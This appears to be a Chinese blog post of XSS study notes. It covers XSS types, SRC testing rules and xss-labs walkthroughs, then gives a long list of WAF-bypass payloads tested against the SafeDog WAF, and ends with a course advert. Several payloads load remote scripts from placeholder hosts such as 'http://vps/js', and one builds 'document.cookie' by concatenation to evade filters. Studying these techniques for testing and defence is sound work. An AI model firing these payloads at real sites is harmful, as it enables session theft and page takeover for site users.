XSS漏洞

概念

原理

插入js代码,看网页源代码过滤情况,选择对应代码绕过

开发需求:用户搜索关键词,列出搜索结果,同时页面显示用户搜索词

实现结果:用户访问www.test.com/search?queryString=test,列出test相关文章,同时页面展示搜索词“test”

实现方式:

  1. 获取用户queryString参数传递值“test”
  2. 去数据库中文章表查询匹配“test”的内容
  3. 将变量queryString值“test”与数据库查询结果一并通过html页面回显至浏览器
测试规范

存储xss漏洞,正确的方法是插入不影响他人的测试payload,严禁弹窗,推荐使用console.log,再通过自己的另一个帐号进行验证,提供截图证明。对于盲打类xss,仅允许外带domain信息。所有xss测试,测试之后需删除插入数据,如不能删除,请在漏洞报告中备注插入点。

SRC行业安全测试规范 https://security.tencent.com/announcement/msg/180

xss产生关键点
  1. 用户提交(主动或被动)的数据内容被输出到html页面中
  2. 程序没有对用户提交内容做合理的处理,导致用户可以改变原有html语义或添加额外的html语句
xss类型
  1. 反射型 测试语句经后端程序处理后直接输出,且不会对测试语句保存
  2. 存储型 测试语句经后端程序处理后保存,且会在相应位置输出测试语句
  3. DOM型 测试语句由前端js代码输出,不局限于是否存储(绝大部分为反射型)
xss常见测试语句

无任何过滤

<script>alert(1)</script>
<script>console.log("test")</script>      # 符合src测试规范(控制台输出)
"><script>console.log("test")</script>     # 值标签内考虑闭合
</textarea><script>console.log("test")</script>  # text标签内需先闭合标签

xss盲打

“xss盲打”是指在攻击者对数据提交后展现的后台未知的情况下,网站采用了攻击者插入了带真实攻击功能的xss攻击代码(通常是使用script标签引入远程的js)的数据。

当未知后台在展现时没有对这些提交的数据进行过滤,那么后台管理人员在操作时就会触发xss来实现攻击者预定好的“真实攻击功能”。

如管理员查看评论等

xss常见绕过
<img src=1 onerror=alert(1)>     #白名单标签
<scTipt>alert(1)</sCript>      #大小写转换
<scri<script>pt>alert(1)</scri<script>pt>     #标签嵌套绕过单次移除
"onmouseover=console.log("test") "   #处理尖括号未处理引号
javascript:console.log('test')    #a标签href属性内且无法闭合属性
';alert(1);//                       #script标签内的测试,对尖括号有处理

其他payload查询 http://html5sec.org/

xss测试常见编码
&lt;        //html编码,特征&开始,;结束
&#60;    //html编码,特征&#开始,;结束,中间的60为字符<的ascii编码
&#x3c;    //html编码,特征&#x开始,;结束,中间的3c为字符<的十六进制
%3c       //URL编码,特征%开始,后面3c为<的十六进制
\u003c   //unicode编码,特征\u开头,后面为4个字符,3c为<的十六进制,00为填充

常见编码在线转换 https://xssor.io/

xss测试常见测试场景
  1. 站点内用户间私信
  2. 个人资料编辑(昵称、邮箱、姓名、地址…)站点内容发布(发表文章、发表评论…)
  3. 客服对话窗口
  4. 订单流程(备注信息、收货地址、姓名…)
xss多数据测试方法

xss富文本测试

xss练习

xsslabs

网络安全自学篇(十八)| XSS跨站脚本攻击原理及代码攻防演示(一)-腾讯云开发者社区-腾讯云

level 1(无过滤,反射型xss)

语句:name=<script>alert('yyf')</script>

level 2(<和>都被编码)

尝试

发现<和>都被编码成了html字符实体。

猜测在服务器端用htmlspecialchars()函数对keyword参数的值进行了处理。

接着往下看可以看到插入到value参数值中的恶意代码并没有被编码而是直接原样返回

但是问题是这里的js代码在标签属性值中,浏览器是无法执行的。

既然上面的恶意代码被编码了,那么只能从属性值中的恶意代码处进行突破了。

要想浏览器执行这里的弹窗代码,只需要将属性的引号和标签先闭合就可以了。

语句:"><script>alert('xss')</script>//

less3(双引号,<>被编码)

可以看到value为单引号闭合–>单引号闭合逃逸

paylaod:

' onmouseover='alert(/xss/)

less4

payload:

" onmouseover="alert(/xss/)

将闭合换成双引号即可

less5

这里首先尝试了on开头的事件触发,发现被替换,不行

这里使用js伪协议通关

js伪协议

payload:

"><a herf=”javascript:alert(/xss/)

less6(大小写绕过)

payload:

"><Script>alert('xss')</SCript>

less7

发现script直接为空了,猜测应该是替换为空–>双写绕过

paylaod:

"><sscriptcript>alert('xss')</sscriptcript>

less8(编码绕过)

payload:

javascript:alert(/xss/)-->需要unicode编码

less9

payload:

javasc&#x72;&#x69;pt:alert(/xss/)//http://
javascript部分字符由unicode编码

less10

进去没看到输入框,看看源码发现被隐藏了,删掉hidden

payload:

keyword=null&t_sort=xss" onclick=alert(/xss/) type="text"

less11

$str11=$_SERVER['HTTP_REFERER']字段,而我们知道,HTTP_REFERER是获取http请求中的Referer字段的

hackbar修改referer字段即可

payload:

" click=alert(/xss/) type="text"

less12

和上一关类似,这次改UA头

payload:

" onclick=alert(/xss/) type="text"

less13

同上,这次改cookie中的user

payload:

" onclick=alert(/xss/) type="text"

less16

可以看到过滤了script,空格,/等,用代替绕过

这里我们选用换行符来绕过

payload:

keyword=<img%0Asrc=xss%0Donmouseover=alert('xss')>

less17

分析:出的值都被做了实体化转义,无法闭合标签,但是问题在于本身embed标签可以加入事件,且由于参数一后面会跟一个=,所以我们在参数二构造payload

payload:

arg01=a&arg02=b onmouseout=alert(1)

less18

和上一关一样

payload:

arg01=a&arg02=b onmouseout=alert(1)

xss常用标签和绕过姿势

常见姿势绕过

Beef+MSF利用

参考文章

我的配合失败了,可能和msf版本有关,msf可能需要旧一点的版本

WAF绕过

绕过技巧
拼接
拼接函数
top、this、self、parent、frames、content、window

在 JavaScript 中,这些特殊的对象和属性有以下作用:

  1. top: top 是全局对象的一个属性,用于获取最顶层的窗口对象。在浏览器中,它通常指的是顶级窗口对象 (Top-level window)。可以使用 top 对象来操作或访问最顶层窗口的属性和方法。

  2. this: this 是指向当前对象的引用。它在函数内部指向函数的调用者或当前对象。this 的具体值取决于函数的调用方式,可以是全局对象、对象的方法调用、构造函数调用等。

  3. self: self 是全局对象的一个属性,它通常指向全局的 window 对象。在浏览器环境中,selfwindow 引用的是同一个对象。

  4. parent: parent 是指当前窗口的父窗口对象。通常在 iframe 中使用,可以通过 parent 来访问包含当前窗口的上一级窗口的属性和方法。

  5. frames: frameswindow 对象的属性,指代窗口中所有框架 (frames) 的集合。它提供了一种获取和操作窗口中各个框架的方法。

  6. content: content 通常指的是 <iframe> 内部的文档对象。可以通过访问 contentWindow 属性来获取 <iframe> 内部文档的 window 对象。

  7. window: window 是全局对象,它表示浏览器窗口或框架。它是 JavaScript 中最顶层的对象,提供了对浏览器窗口属性和方法的访问。

这些对象和属性在 JavaScript 中用于访问和操作浏览器窗口、窗体、框架等相关的属性和方法,以便实现各种交互和控制逻辑。注意,这些对象和属性具体的行为和支持程度可能会根据不同的浏览器和环境有所差异。

<body/onfocus=top.alert(1)>
<body onpageshow=top['confir'%2b'm'](1)>
<audio src/onerror=self['pro'+'mpt'](1)>
<details ontoggle=this['ale'+'rt']`1` open>
<marquee onstart=top.eval('ale'%2B'rt(1)')>
<img/src=1 onerror=window.alert(1)>
<svg onload="a(this);function a(){}(alert`1`)">

编码

常见的编码类型:URL编码、base64编码、Hex编码、JS8编码、JS16编码、Unicode编码、html编码

既然是编码肯定需要一些函数来执行,比如:eval,setTimeout,setInterval,constructor,execScript(IE)等

# URL
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%31%29'))">
<details open ontoggle=eval('%61%6c%65%72%74%28%31%29') >
<details open ontoggle=%65%76%61%6c(atob('YWxlcnQoMSk=')) >
# base64
<details open ontoggle=eval(atob('YWxlcnQoMSk='))>
# JS8
<body onpageshow=content['\141\154\145\162\164'](1)>
<svg/onload=setTimeout('\141\154\145\162\164\50\61\51')>
# JS16
<body onpageshow=frames['\x61\x6c\x65\x72\x74'](1)>
<svg/onload=Set.constructor`al\x65rt\x281\x29```>
<svg/onload=Map.constructor`al\x65rt\x281\x29```>
<svg/onload=clear.constructor`al\x65rt\x281\x29```>
<svg/onload=Array.constructor`al\x65rt\x281\x29```>
<svg/onload=WeakSet.constructor`al\x65rt\x281\x29```>
# unicode
<a href="javascript:al\u0065rt()">XSS Test</a>
<a href="javascript:al\u{65}rt()">XSS Test</a>
<svg/onload=\u0073etInterval('\141\154\145\162\164\50\61\51')>
<svg/onload=setTimeout`prompt\u00281\u0029`>
# Ascii
<img/src=1 onerror="eval(String.fromCharCode(97,108,101,114,116,40,49,41))">

在 JavaScript 字符转义序列中,反斜杠后面的数值可以是十进制、十六进制或八进制数值。

在这个例子中,这些数值采用十进制形式表示。例如,\141 表示的是小写字母 “a”,其对应的十进制 ASCII 编码是 97。

如果要使用其他进制表示,可以使用相应的前缀来标识。例如,\x61 表示小写字母 “a” 的十六进制 ASCII 编码;\u0061 表示小写字母 “a” 的 Unicode 编码;\101 表示大写字母 “A” 的八进制 ASCII 编码等。

但对于你提供的这串字符串 "\141\154\145\162\164\50\61\51",其中的数值默认是十进制的。

文本转8进制

文本转10/16进制

从字符串获取
利用正则表达式返回字符串
eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))
eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))
<a href="javascript:window[/alert/.source]()">XSS Test</a>
<a href="javascript:''.replace(/.*/,alert)">XSS Test</a>
<img src=1 onerror=eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))>

利用toString转换字符串

整数toString(radix)转字符串, 第一个点表示浮点数,第二个点表示调用函数

<a href="javascript:top[8680439..toString(30)]()">XSS Test</a>
<details open ontoggle=top[8680439..toString(30)](1); >
<details open ontoggle=top[11189117..toString(32)](1); >

alert字符串用parseInt函数,以基数为30转化后为8680439

parseInt('alert',30) == 8680439

toString函数将返回的数字8680439,以基数为30还原

8680439..toString(30) == alert

函数多样调用
<a href="javascript:alert.call(null,'param')">XSS Test</a>
<a href="javascript:alert.apply(null,['param'])">XSS Test</a>
<a href="javascript:alert.bind()('param')">XSS Test</a>
<a href="javascript:Reflect.apply(alert,null,['param'])">XSS Test</a>
<a href="javascript:setTimeout`alert\x28\x29`">XSS Test</a>
<a href="javascript:eval(atob())">XSS Test</a>
<a href="javascript:eval(String.fromCharCode(97,108,))">XSS Test</a>
<img src=1 onerror=(function(){alert(1)})()>
<img src=1 onerror=!function(){alert(1)}()>
<img src=1 onerror=%2bfunction(){alert(1)}()>
<img src=1 onerror=%2dfunction(){alert(1)}()>
<img src=1 onerror=~function(){alert(1)}()>
<a href="javascript:(alert)()">XSS Test</a>
模板字符串:反引号``
<a href="javascript:`${alert(1)}`">XSS Test</a>

利用数组等的功能函数
<a href="javascript:[''].find(alert`1`)">XSS Test</a>
<a href="javascript:[''].findIndex(alert(1)">XSS Test</a>
<a href="javascript:[''].filter(alert)">XSS Test</a>
<a href="javascript:[''].forEach(alert)">XSS Test</a>
<a href="javascript:(new Map()).set(1,'').forEach(alert)">XSS Test</a>
<a href="javascript:(new Set([''])).forEach(alert)">XSS Test</a>

利用拼接数组函数

concat()不仅仅可以用于连接两个或多个数组,还可以合并两个或者多个字符串

<svg/onload=location='javas'.concat('cript:ale','rt(1)')>
<iframe onload=s=createElement('script');body.appendChild(s);s.src='http://v'.\u0063oncat('ps/','js'); >

再补充个有些防护过滤了document.cookie可以试下下面的,很爽的

document['coo'['CONCAT'.toLowerCase()]('kie')]

join()将数组转换成字符串

<iframe onload=location=['javascript:alert(1)'].join("“)>

新建函数
<a href="javascript:(new Function('alert()'))()">XSS Test</a>
<body/onload=Function(alert(1))()>
<img%0Dsrc=1 onerror=Function(alert(1))>
<a href="javascript:Set.constructor`alert\x28\x29```">XSS Test</a>
<a href="javascript:(new (Object.getPrototypeOf(async function(){}).constructor)('alert()'))()">XSS Test</a>

location

location对象的hash属性用于设置或取得 URL 中的锚部分,比如:http://localhost/1.php#alert(1),我们在控制台输入location.hash,则会返回我们设定的,即#alert(1)

再结合slice()substr()等字符串处理函数获取字符串

<body/onload=eval(location.hash.slice(1))>#alert(1)
<body/onload=setTimeout(location.hash.substr(1))()>#alert(1)
<body/onload=Set.constructor(location.hash.substr(1))()>#alert(1)
<body/onload=execScript(location.hash.substr(1))>#alert(1)
使用Function匿名函数来执行尾部的代码
<body/onload=Function(location.hash.slice(1))()>#alert(1)

同样的道理location.search也类似,它可以把部分参数放在?之后

# dom.html
<html>
  <body>
    <script>
      document.write(decodeURI(window.location.search));
    </script>
  </body>
</html>
# payload
dom.html?<svg/onload=alert(1)

1.php?(1)&code=<img/src=1 onerror=a=location.search;location="javascript:alert"+a[1]+a[2]+a[3]>

再比如:

<svg onload=eval(URL.slice(-8))>#alert(1)

伪协议

常见的伪协议有:

  1. javascript:
  2. vbscript:(IE下)
  3. data:
<body/onload=eval(location.hash.slice(1))>#javascript:alert(1)
<body/onload=eval(location.hash.slice(1))>#vbscript:msgbox(1)
<a href="javascript:confirm(1)">XSS Test</a>
<iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aalert(1)">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=">
<iframe/src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=">
<video><source onerror="javascript:confirm(1);">
<img src=1 onerror=location="javascript:alert(1)">
# 使用xmlns属性
<svg/onload="javascript:alert(1)" xmlns="http://www.baidu.com">
# 使用注释
<svg/onload=location='javascript:/*'%2blocation.hash> #*/alert(1)
# innerHTML
<svg/onload=location="javascript:"%2binnerHTML%2blocation.hash>"  #"-alert(1)

xmlns属性

在 SVG(可缩放矢量图形)中,xmlns 属性指定了 XML 命名空间。XML 命名空间是一种用于在 XML 文档中标识和区分元素和属性的机制。

在这段代码中,xmlns 属性被设置为 "http://www.baidu.com",表示该 SVG 元素及其子元素都属于 http://www.baidu.com 命名空间。

命名空间使得不同的 XML 元素和属性可以存在相同的名称,但仍然可以被唯一地识别和访问。它有助于避免不同 XML 文档之间的元素和属性冲突,并支持在 XML 文档中引用外部命名空间。

然而,需要注意的是,在 SVG 中使用 xmlns 属性指定任意非标准命名空间是不推荐的,特别是如果与实际的命名空间不相关,或者可能与 xmlns 属性的真实用途发生冲突。

unescape

unescape()函数用于对已经使用escape()函数编码的字符串进行解码,并返回解码后的字符串。

很多会拦截外部url,比如拦截//

<svg/onload=appendChild(createElement('script')).src=unescape('http%3A%2F%2Fxss.tt%2F1te')>

with

with用来引用某个特定对象中已有的属性,使用with可以实现通过节点名称的对象调用。

如果.被拦截,可以使用with替代。

<svg/onload=with(location)with(hash)eval(alert(1))>

基于DOM的方法创建和插入节点把外部JS文件注入到网页中,也可以应用with。

<svg/onload="[1].find(function(){with(`docom'|e|'nt`);;body.appendChild(createElement('script')).src='http://vps/js'})">

绕过过滤括号
<svg/onload="window.onerror=eval;throw'=alert\x281\x29';">
<img/src=1 onerror="top.onerror=alert; throw 1">
<img src=x onerror=alert`1`>
<img src=1 onerror=alert%28%29>
<img src=1 onerror=location="javascript:"+"aler"+"t%281%29">

引用外部url
<details open ontoggle=eval("appendChild(createElement('script')).src='http://vps/js'")>
<iframe onload=s=createElement('script');body.appendChild(s);s.src='http://v'.concat('ps/','js');>
<body/onload=document.write(String.fromCharCode(60,115,67,114,73,112,116,32,115,114,67,61,104,116,116,112,58,47,47,118,112,115,47,106,115,62,60,47,115,67,82,105,112,84,62))>
利用link
<link rel=import href="http://vps/1.js">

变量赋值
# 变量
<img/src=1 onerror=_=alert,_(1)>
<style onload=_=alert;_(1)>
<details/open/ontoggle=_=alert;x=1;_`1`>
<details open ontoggle=top[a='al',b='ev',b%2ba](prompt(1))>
<details open ontoggle=top[a='al',b='ev',b%2ba]('\141\154\145\162\164\50\61\51')>
<details open ontoggle=top[a='meout',b='setTi',b%2ba]('\141\154\145\162\164\50\61\51')>
# 函数
<img/src=1 onmouseover="a=alert,a`1`">
# 属性
<img src=1 alt=al lang=ert onerror=top[alt%2blang](1)>

黑名单绕过

alert(1)为例

(alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
self[/al/.source+/ert/.source](1)
al\u0065rt(1)
frames['al\145rt'](1)
content[8680439..toString(30)](1)

各种标签
body
<body onload=alert(1)>
<body onpageshow=alert(1)>
<body onfocus=alert(1)>
<body onhashchange=alert(1)><a href=#></a>
<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><x id=x>#x

其他
<marquee onstart=alert(1)>
<marquee loop=1 width=0 onfinish=alert(1)>
<audio src onloadstart=alert(1)>
<video onloadstart=alert(1)><source>
<input autofocus onblur=alert(1)>
<keygen autofocus onfocus=alert(1)>
<form onsubmit=alert(1)><input type=submit>
<select onchange=alert(1)><option>1<option>2
<menu id=x contextmenu=x onshow=alert(1)>right click me!

各种事件捕获
<x contenteditable onblur=alert(1)>lose focus!
<x onclick=alert(1)>click this!
<x oncopy=alert(1)>copy this!
<x oncontextmenu=alert(1)>right click this!
<x oncut=alert(1)>copy this!
<x ondblclick=alert(1)>double click this!
<x ondrag=alert(1)>drag this!
<x contenteditable onfocus=alert(1)>focus this!
<x contenteditable oninput=alert(1)>input here!
<x contenteditable onkeydown=alert(1)>press any key!
<x contenteditable onkeypress=alert(1)>press any key!
<x contenteditable onkeyup=alert(1)>press any key!
<x onmousedown=alert(1)>click this!
<x onmousemove=alert(1)>hover this!
<x onmouseout=alert(1)>hover this!
<x onmouseover=alert(1)>hover this!
<x onmouseup=alert(1)>click this!
<x contenteditable onpaste=alert(1)>paste here!
<brute contenteditable onblur=alert(1)>lose focus!
<brute onclick=alert(1)>click this!
<brute oncopy=alert(1)>copy this!
<brute oncontextmenu=alert(1)>right click this!
<brute oncut=alert(1)>copy this!
<brute ondblclick=alert(1)>double click this!
<brute ondrag=alert(1)>drag this!
<brute contenteditable onfocus=alert(1)>focus this!
<brute contenteditable oninput=alert(1)>input here!
<brute contenteditable onkeydown=alert(1)>press any key!
<brute contenteditable onkeypress=alert(1)>press any key!
<brute contenteditable onkeyup=alert(1)>press any key!
<brute onmousedown=alert(1)>click this!
<brute onmousemove=alert(1)>hover this!
<brute onmouseout=alert(1)>hover this!
<brute onmouseover=alert(1)>hover this!
<brute onmouseup=alert(1)>click this!
<brute contenteditable onpaste=alert(1)>paste here!
<brute style=font-size:500px onmouseover=alert(1)>0000
<brute style=font-size:500px onmouseover=alert(1)>0001
<brute style=font-size:500px onmouseover=alert(1)>0002
<brute style=font-size:500px onmouseover=alert(1)>0003

各种属性
# src
<script src=javascript:alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>
# href
<a href=javascript:alert(1)>click
<math><brute href=javascript:alert(1)>click
# action
<form action=javascript:alert(1)><input type=submit>
<isindex action=javascript:alert(1) type=submit value=click>
# formaction
<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=http://brutelogic.com.br/webgun/img/youtube1.jpg>
<isindex formaction=javascript:alert(1) type=submit value=click>
# data
<object data=javascript:alert(1)>
# srcdoc
<iframe srcdoc=%26lt;svg/o%26%23x6Eload%26equals;alert%26lpar;1)%26gt;>
# xlink:href
<svg><script xlink:href=data:,alert(1)></script>
<svg><script xlink:href=data:,alert(1) />
<math><brute xlink:href=javascript:alert(1)>click
# from
<svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=%26>

安全狗
环境准备
  • 安全狗版本

  • pikachu靶场(或者其他可以测试xss的靶场)

  • 安全狗规则库

我这里是有关xss的全部拦截都开了,默认有些是没开的,如onmove这些默认没有进行拦截

拼接绕过
<body onpageshow=top['confir'%2b'm'](1)>

注:中间的%2b是+的url编码,用于连接字符串

同理:<body onpageshow=top['ale'%2b'rt'](document.cookie)>

或者:<svg onload="a(this);function a(){}(PAYLOAD)">
# 本质是自定义了一个函数,然后进行调用

concat拼接
<svg/onload=location='javas'.concat('cript:ale','rt(1)')>

编码绕过
<svg/onload=setTimeout('\u0061\u006c\u0065\u0072\u0074\u0028\u002f\u0078\u0073\u0073\u002f\u0029')>
# 其中\u0061\u006c\u0065\u0072\u0074\u0028\u002f\u0078\u0073\u0073\u002f\u0029为alert(/xss/)的unicode码

编码网站

<svg/onload=setTimeout('\141\154\145\162\164\50\61\51')>
# \141\154\145\162\164\50\61\51为alert(1)的8进制

注:这里测试了10/16进制,但都发现无法执行弹窗

数组操作绕过
<iframe onload=location=['javascript:PAYLAOD'].join("")>

新建函数绕过
<body/onload=Function(alert(1))()>

location利用
<body/onload=Function(location.hash.slice(1))()>#alert(1)

无法执行,但没有拦截,有可能换个waf就可以执行了

object标签绕过
<object data="data:text/html;base64,base64(PAYLOAD)"></object>

# base64加密:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg    
# 解码:<script>alert(1)</script>

注释绕过
<svg/onload=location='javascript:/*'%2blocation.hash> #*/alert(1)

没有执行成功,但也没有拦截

引用外部url
<link rel=import href="http://vps/1.js">

没进行测试,但没有拦截,可以试试看能不能执行外部js文件

变量赋值
<style onload=_=alert;_(1)>

事件触发绕过
<brute contenteditable onblur=alert(1)>lose focus!

<brute ondblclick=alert(1)>double click this!

属性绕过
<form><button formaction=javascript:alert(1)>click

iframe标签
<iframe/src="data:text/html;base64,base64(PAYLOAD)">
<IFRAME width="420" height="315" frameborder="0" onload="PAYLOAD"></IFRAME>
<iframe srcdoc%3d'%26lt%3bbody onload%3dprompt%26lpar%3b1%26rpar%3b%26gt%3b'>(进行了实体转义编码)
-->	原文:<iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>

svg标签
<svg/onload="javascript:alert(1)">

body标签
<body onpageshow=alert(1)>

audio标签
<audio src onloadstart=alert(1)>

video标签
<video onloadstart=alert(1)><source>

总结

综合以上测试,比较好用的绕过方法有:

  1. body标签(很常见,不太会拦截)
  2. 伪协议
  3. 各种不太常见标签或HTML5新标签(video,audio等)
  4. object标签配合data伪协议
  5. 变量赋值
  6. concat拼接
  7. 编码绕过

以上的方法仅供参考,要根据实际情况进行组合或者变通

这两年,IT行业面临经济周期波动与AI产业结构调整的双重压力,确实有很多运维与网络工程师因企业缩编或技术迭代而暂时失业。

很多人都在提运维网工失业后就只能去跑滴滴送外卖了,但我想分享的是,对于运维人员来说,即便失业以后仍然有很多副业可以尝试。

网工/运维/测试副业方向

运维网工,千万不要再错过这些副业机会!

第一个是知识付费类副业:输出经验打造个人IP

在线教育平台讲师

操作路径:在慕课网、极客时间等平台开设《CCNA实战》《Linux运维从入门到精通》等课程,或与培训机构合作录制专题课。
收益模式:课程销售分成、企业内训。

技术博客与公众号运营

操作路径:撰写网络协议解析、故障排查案例、设备评测等深度文章,通过公众号广告、付费专栏及企业合作变现。
收益关键:每周更新2-3篇原创,结合SEO优化与社群运营。

第二个是技术类副业:深耕专业领域变现

企业网络设备配置与优化服务

操作路径:为中小型企业提供路由器、交换机、防火墙等设备的配置调试、性能优化及故障排查服务。可通过本地IT服务公司合作或自建线上接单平台获客。
收益模式:按项目收费或签订年度维护合同。

远程IT基础设施代维

操作路径:通过承接服务器监控、日志分析、备份恢复等远程代维任务。适合熟悉Zabbix、ELK等技术栈的工程师。
收益模式:按工时计费或包月服务。

网络安全顾问与渗透测试

操作路径:利用OWASP Top 10漏洞分析、Nmap/BurpSuite等工具,为企业提供漏洞扫描、渗透测试及安全加固方案。需考取CISP等认证提升资质。
收益模式:单次渗透测试报告收费;长期安全顾问年费。

比如不久前跟我一起聊天的一个粉丝,他自己之前是大四实习的时候做的运维,发现运维7*24小时待命受不了,就准备转网安,学了差不多2个月,然后开始挖漏洞,光是补天的漏洞奖励也有个四五千,他说自己每个月的房租和饭钱就够了。

为什么我会推荐你网安是运维和网工测试人员的绝佳副业&转型方向?

1.你的经验是巨大优势: 你比任何人都懂系统、网络和架构。漏洞挖掘、内网渗透、应急响应,这些核心安全能力本质上是“攻击视角下的运维”。你的运维背景不是从零开始,而是降维打击。

2.越老越吃香,规避年龄危机: 安全行业极度依赖经验。你的排查思路、风险意识和对复杂系统的理解能力,会随着项目积累而愈发珍贵,真正做到“姜还是老的辣”。

3.职业选择极其灵活: 你可以加入企业成为安全专家,可以兼职“挖洞“获取丰厚奖金,甚至可以成为自由顾问。这种多样性为你提供了前所未有的抗风险能力。

4.市场需求爆发,前景广阔: 在国家级政策的推动下,从一线城市到二三线地区,安全人才缺口正在急剧扩大。现在布局,正是抢占未来先机的黄金时刻。

网工运维测试转行学习网络安全路线

在这里插入图片描述

(一)第一阶段:网络安全筑基

1. 阶段目标

你已经有运维经验了,所以操作系统、网络协议这些你不是零基础。但要学安全,得重新过一遍——只不过这次我们是带着“安全视角”去学。

2. 学习内容

**操作系统强化:**你需要重点学习 Windows、Linux 操作系统安全配置,对比运维工作中常规配置与安全配置的差异,深化系统安全认知(比如说日志审计配置,为应急响应日志分析打基础)。

**网络协议深化:**结合过往网络协议应用经验,聚焦 TCP/IP 协议簇中的安全漏洞及防护机制,如 ARP 欺骗、TCP 三次握手漏洞等(为 SRC 漏扫中协议层漏洞识别铺垫)。

**Web 与数据库基础:**补充 Web 架构、HTTP 协议及 MySQL、SQL Server 等数据库安全相关知识,了解 Web 应用与数据库在网安中的作用。

**编程语言入门:**学习 Python 基础语法,掌握简单脚本编写,为后续 SRC 漏扫自动化脚本开发及应急响应工具使用打基础。

**工具实战:**集中训练抓包工具(Wireshark)、渗透测试工具(Nmap)、漏洞扫描工具(Nessus 基础版)的使用,结合模拟场景练习工具应用(掌握基础扫描逻辑,为 SRC 漏扫工具进阶做准备)。

(二)第二阶段:漏洞挖掘与 SRC 漏扫实战

1. 阶段目标

这阶段是真正开始“动手”了。信息收集、漏洞分析、工具联动,一样不能少。

熟练运用漏洞挖掘及 SRC 漏扫工具,具备独立挖掘常见漏洞及 SRC 平台漏扫实战能力,尝试通过 SRC 挖洞搞钱,不管是低危漏洞还是高危漏洞,先挖到一个。

2. 学习内容

信息收集实战:结合运维中对网络拓扑、设备信息的了解,强化基本信息收集、网络空间搜索引擎(Shodan、ZoomEye)、域名及端口信息收集技巧,针对企业级网络场景开展信息收集练习(为 SRC 漏扫目标筛选提供支撑)。

漏洞原理与分析:深入学习 SQL 注入、CSRF、文件上传等常见漏洞的原理、危害及利用方法,结合运维工作中遇到的类似问题进行关联分析(明确 SRC 漏扫重点漏洞类型)。

工具进阶与 SRC 漏扫应用:

  • 系统学习 SQLMap、BurpSuite、AWVS 等工具的高级功能,开展工具联用实战训练;

  • 专项学习 SRC 漏扫流程:包括 SRC 平台规则解读(如漏洞提交规范、奖励机制)、漏扫目标范围界定、漏扫策略制定(全量扫描 vs 定向扫描)、漏扫结果验证与复现;

  • 实战训练:使用 AWVS+BurpSuite 组合开展 SRC 平台目标漏扫,练习 “扫描 - 验证 - 漏洞报告撰写 - 平台提交” 全流程。
    SRC 实战演练:选择合适的 SRC 平台(如补天、CNVD)进行漏洞挖掘与漏扫实战,积累实战经验,尝试获取挖洞收益。

恭喜你,如果学到这里,你基本可以下班搞搞副业创收了,并且具备渗透测试工程师必备的「渗透技巧」、「溯源能力」,让你在黑客盛行的年代别背锅,工作实现升职加薪的同时也能开创副业创收!

如果你想要入坑黑客&网络安全,笔者给大家准备了一份:全网最全的网络安全资料包需要保存下方图片,微信扫码即可前往获取!

因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

(三)第三阶段:渗透测试技能学习

1. 阶段目标

全面掌握渗透测试理论与实战技能,能够独立完成渗透测试项目,编写规范的渗透测试报告,具备渗透测试工程师岗位能力,为护网红蓝对抗及应急响应提供技术支撑。

2. 学习内容

渗透测试核心理论:系统学习渗透测试流程、方法论及法律法规知识,明确渗透测试边界与规范(与红蓝对抗攻击边界要求一致)。

实战技能训练:开展漏洞扫描、漏洞利用、电商系统渗透测试、内网渗透、权限提升(Windows、Linux)、代码审计等实战训练,结合运维中熟悉的系统环境设计测试场景(强化红蓝对抗攻击端技术能力)。

工具开发实践:基于 Python 编程基础,学习渗透测试工具开发技巧,开发简单的自动化测试脚本(可拓展用于 SRC 漏扫自动化及应急响应辅助工具)。

报告编写指导:学习渗透测试报告的结构与编写规范,完成多个不同场景的渗透测试报告撰写练习(与 SRC 漏洞报告、应急响应报告撰写逻辑互通)。

(四)第四阶段:企业级安全攻防(含红蓝对抗)、应急响应

1. 阶段目标

掌握企业级安全攻防、护网红蓝对抗及应急响应核心技能,考取网安行业相关证书。

2. 学习内容

护网红蓝对抗专项:

  • 红蓝对抗基础:学习护网行动背景、红蓝对抗规则(攻击范围、禁止行为)、红蓝双方角色职责(红队:模拟攻击;蓝队:防御检测与应急处置);

  • 红队实战技能:强化内网渗透、横向移动、权限维持、免杀攻击等高级技巧,模拟护网中常见攻击场景;

  • 蓝队实战技能:学习安全设备(防火墙、IDS/IPS、WAF)联动防御配置、安全监控平台(SOC)使用、攻击行为研判与溯源方法;

  • 模拟护网演练:参与团队式红蓝对抗演练,完整体验 “攻击 - 检测 - 防御 - 处置” 全流程。
    应急响应专项:

  • 应急响应流程:学习应急响应 6 步流程(准备 - 检测 - 遏制 - 根除 - 恢复 - 总结),掌握各环节核心任务;

  • 实战技能:开展操作系统入侵响应(如病毒木马清除、异常进程终止)、数据泄露应急处置、漏洞应急修补等实战训练;

  • 工具应用:学习应急响应工具(如 Autoruns、Process Monitor、病毒分析工具)的使用,提升处置效率;

  • 案例复盘:分析真实网络安全事件应急响应案例(如勒索病毒事件),总结处置经验。
    其他企业级攻防技能:学习社工与钓鱼、CTF 夺旗赛解析等内容,结合运维中企业安全防护需求深化理解。

证书备考:针对网安行业相关证书考试内容(含红蓝对抗、应急响应考点)进行专项复习,参加模拟考试,查漏补缺。

运维网工测试转行网络攻防知识库分享

